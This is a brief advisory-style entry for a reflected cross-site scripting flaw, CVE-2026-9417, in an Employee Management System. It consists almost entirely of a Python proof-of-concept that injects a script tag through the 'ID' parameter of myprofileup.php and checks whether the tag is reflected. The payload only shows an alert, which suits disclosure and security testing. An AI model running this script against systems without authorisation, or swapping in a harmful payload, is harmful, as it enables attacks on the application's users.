CVE-2026-9417 Employee Management System跨站脚本漏洞

import requests # Target URL of the vulnerable endpoint target_url = "http://target-ip/myprofileup.php" # Malicious payload to test XSS # Using a simple alert to verify execution payload = "<script>alert('CVE-2026-9417_XSS_Test');</script>" # Injection parameter params = { "ID": payload } try: # Send GET request with the malicious payload response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response (unsanitized) if payload in response.text: print("[+] Vulnerability Confirmed: XSS detected.") print(f"[+] Payload: {payload}") else: print("[-] Vulnerability not detected or payload encoded.") except Exception as e: print(f"[!] Error during request: {e}")